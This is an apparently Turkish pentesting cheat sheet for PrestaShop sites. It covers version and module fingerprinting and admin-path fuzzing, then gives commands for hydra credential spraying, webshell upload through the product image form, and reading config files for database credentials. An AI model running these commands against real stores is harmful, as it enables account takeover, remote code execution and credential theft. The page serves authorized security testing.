Skip to content

PrestaShop

network cms

PrestaShop e-ticaret CMS’idir. Modül zafiyetleri, admin paneli ve /modules/ yüzeyi sık RCE/SQLi verir.

Metodoloji

Section titled “Metodoloji”

  1. Sürüm, tema ve yüklü modülleri fingerprint et.

  2. Admin path’i bul; credential spray uygula.

  3. Modül CVE / upload / LFI hipotezlerini doğrula.

  4. Webshell veya DB credential kanıtı al.

Keşif

Section titled “Keşif”
Terminal window
curl -skI https://TARGET/
Terminal window
curl -sk https://TARGET/ | rg -i 'prestashop|var prestashop'
Terminal window
curl -sk https://TARGET/docs/CHANGELOG.txt | head
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/Prestashop.fuzz.txt -mc 200,301,302,403

Admin panel

Section titled “Admin panel”
/admin
/admin123
/administration
/admin-dev
Terminal window
ffuf -u https://TARGET/FUZZ -w admin-paths.txt -mc 200,301,302
Terminal window
hydra -L users.txt -P rockyou.txt https-post-form://TARGET/admin123/index.php:email=^USER^&passwd=^PASS^&submitLogin=1:F=Invalid

Modül yüzeyi

Section titled “Modül yüzeyi”
Terminal window
ffuf -u https://TARGET/modules/FUZZ -w modules.txt -mc 200,301,403
Terminal window
curl -sk https://TARGET/modules/ps_facetedsearch/
Terminal window
nuclei -u https://TARGET -tags prestashop
Terminal window
searchsploit prestashop

Upload / RCE kalıpları

Section titled “Upload / RCE kalıpları”
Terminal window
# ürün görseli / modül upload → webshell
curl -sk -F 'file=@shell.php.jpg' -b ' PrestashopAdmin=COOKIE' https://TARGET/admin123/index.php?controller=AdminProducts
Smarty SSTI / module ajax endpoint / zip extract path traversal

Config sızıntısı

Section titled “Config sızıntısı”
Terminal window
curl -sk https://TARGET/app/config/parameters.php
Terminal window
curl -sk https://TARGET/config/settings.inc.php
DB_NAME / DB_USER / DB_PASSWD / cookie_key

Checklist

Section titled “Checklist”
[ ] Sürüm + modül listesi
[ ] Admin path + spray
[ ] Modül CVE / upload PoC
[ ] Config veya shell kanıtı